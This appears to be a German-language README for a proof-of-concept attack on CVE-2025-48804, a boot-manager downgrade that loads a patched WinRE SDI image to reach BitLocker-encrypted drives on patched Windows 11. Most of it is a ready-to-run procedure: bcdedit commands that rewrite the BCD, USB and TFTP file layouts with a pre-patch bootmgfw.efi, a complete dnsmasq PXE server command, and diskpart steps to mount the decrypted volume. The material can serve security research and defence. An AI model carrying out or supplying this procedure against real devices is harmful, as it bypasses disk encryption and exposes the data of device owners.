
Downgrade-Angriff für CVE-2025-48804
Ein Proof of Concept für den Zugriff auf BitLocker-verschlüsselte Laufwerke in unter 5 Minuten auf vollständig gepatchten Windows 11-Rechnern durch einen Boot-Manager-Downgrade-Angriff, der die ursprünglich als CVE-2025-48804 dokumentierte SDI-Schwachstelle ausnutzt. Der Juli-2025-Patch behebt dies in bootmgfw.efi, sodass jedes vor dem Patch liegende bootmgfw.efi, das unter PCA 2011 signiert ist, für einen Downgrade-Angriff verwendet werden kann, sofern das Zielsystem diesem PCA vertraut.
Dieser PoC bietet zwei Bereitstellungsmethoden: USB-Boot (einfacher und empfohlen) und PXE-Boot. Theoretisch könnten Sie aber auch einfach eine SDI-Boot-Datei in eine der standardmäßig unverschlüsselten Partitionen (ESP & Recovery) kopieren und sich nicht mit USB oder PXE befassen – siehe Tabelle „Edge Cases“.
Diese Arbeit baut vollständig auf der Forschung von Microsoft STORM (Netanel Ben Simon und Alon Leviev) auf:
BitUnlocker: Leveraging Windows Recovery to Extract BitLocker Secrets
dnsmasq und einem Ethernet-Kabel für PXELegen Sie es in USB/sdi/ (für die USB-Methode) oder TFTP-root/sdi/ (für die PXE-Methode) ab.
Öffnen Sie auf dem Zielgerät eine WinRE-Eingabeaufforderung (halten Sie Umschalt gedrückt, während Sie auf Neu starten klicken, dann Problembehandlung > Eingabeaufforderung — klicken Sie auf „Dieses Laufwerk ignorieren“, wenn Sie nach einem BitLocker-Wiederherstellungsschlüssel gefragt werden, und klicken Sie auf „Neu starten“, wenn Ihnen mitgeteilt wird, dass die Eingabeaufforderung auf einem gesperrten Gerät nicht ausgeführt werden kann — und wenn sich die Eingabeaufforderung einfach nicht öffnet, verwenden Sie bei Bedarf Ihr eigenes WinPE). Schließen Sie einen USB-Stick an und führen Sie aus:
E: (or wherever your USB is)
bcdedit /export BCD_modded
bcdedit /store BCD_modded /set {default} path \WINDOWS\system32\winload_DOESNOTEXIST.efi
bcdedit /store BCD_modded /enum all
Suchen Sie in der Ausgabe den Eintrag der Geräteoptionen, dessen Beschreibung „Windows Recovery“ lautet und der die Einträge ramdisksdidevice / ramdisksdipath enthält. Notieren Sie sich die GUID, dann:
bcdedit /store BCD_modded /set {GUID} ramdisksdidevice boot
bcdedit /store BCD_modded /set {GUID} ramdisksdipath \sdi\boot_patched.sdi
move BCD_modded BCD
Platzieren Sie die resultierende BCD-Datei je nach Methode am entsprechenden Ort:
USB/EFI/Microsoft/Boot/BCDTFTP-root/Boot/BCDFormatieren Sie einen USB-Stick als FAT32 und kopieren Sie den Inhalt des Verzeichnisses USB/ in sein Stammverzeichnis (nur dessen Inhalt, es sollte keinen „USB“-Ordner geben). Der USB-Stick sollte wie folgt aussehen:
USB stick root/
├── EFI/
│ ├── Boot/
│ │ └── bootx64.efi # Pre-Patch-Boot-Manager (PCA 2011)
│ └── Microsoft/
│ └── Boot/
│ └── BCD # Ihre modifizierte BCD
└── sdi/
└── boot_patched.sdi # Gepatchtes SDI mit benutzerdefiniertem WinRE
Stecken Sie den USB-Stick in das Zielgerät und lösen Sie einen UEFI-USB-Boot aus – entweder über WinRE (Gerät verwenden) oder durch Drücken der Hersteller-Bootmenü-Taste beim Einschalten (F12, F9 usw.). Wenn der USB-Stick nicht in der Liste der Boot-Optionen erscheint, suchen Sie nach einer „Boot from file“-Option im UEFI-Bootmenü und navigieren Sie dann zu EFI/Boot/bootx64.efi auf dem USB-Stick.
Das Verzeichnis TFTP-root/ ist wie folgt strukturiert:
TFTP-root/
├── bootmgfw.efi # Pre-Patch-Boot-Manager (PCA 2011)
├── Boot/
│ └── BCD # Ihre modifizierte BCD
├── EFI/
│ └── Microsoft/
│ └── Boot/
│ └── bootmgfw.efi # Gleicher Pre-Patch-Boot-Manager
└── sdi/
└── boot_patched.sdi # Gepatchtes SDI mit benutzerdefiniertem WinRE
Verbinden Sie das Ziel über Ethernet mit Ihrem Linux-Rechner und starten Sie den PXE-Server:
cd BitUnlocker
export INTERFACE=<your-interface>
export ABS_TFTP_ROOT=$(pwd)/TFTP-root
sudo ifconfig $INTERFACE 10.13.37.1
sudo dnsmasq --no-daemon \
--interface="$INTERFACE" \
--dhcp-range=10.13.37.100,10.13.37.101,255.255.255.0,1h \
--dhcp-boot=bootmgfw.efi \
--enable-tftp \
--tftp-root="$ABS_TFTP_ROOT" \
--log-dhcp \
--tftp-max=65464 \
--port=0
Lösen Sie den PXE-Boot auf dem Ziel aus – wählen Sie in WinRE Gerät verwenden > IPv4-Netzwerk oder drücken Sie die Hersteller-PXE-Boot-Taste.
Der Boot-Manager lädt die BCD und beginnt dann mit dem Herunterladen von boot_patched.sdi. Die SDI-Datei ist groß (~300 MB), daher dauert dies von USB einen Moment oder mehrere Minuten über TFTP. Während des Ladens sollte eine wiederherstellungsbezogene Meldung mit dem SDI-Pfad auf dem Zielbildschirm erscheinen.
Sobald die Übertragung abgeschlossen ist, sollte eine Eingabeaufforderung erscheinen, bei der das Betriebssystemvolume entschlüsselt und eingebunden ist (normalerweise C: oder E:). Falls es nicht automatisch eingebunden wurde oder Sie den Buchstaben nicht erraten möchten, führen Sie einfach diskpart -> sel vol X (das Volume, das wie Ihr verschlüsseltes Laufwerk aussieht) -> assign letter=C (oder etwas anderes) -> exit -> profit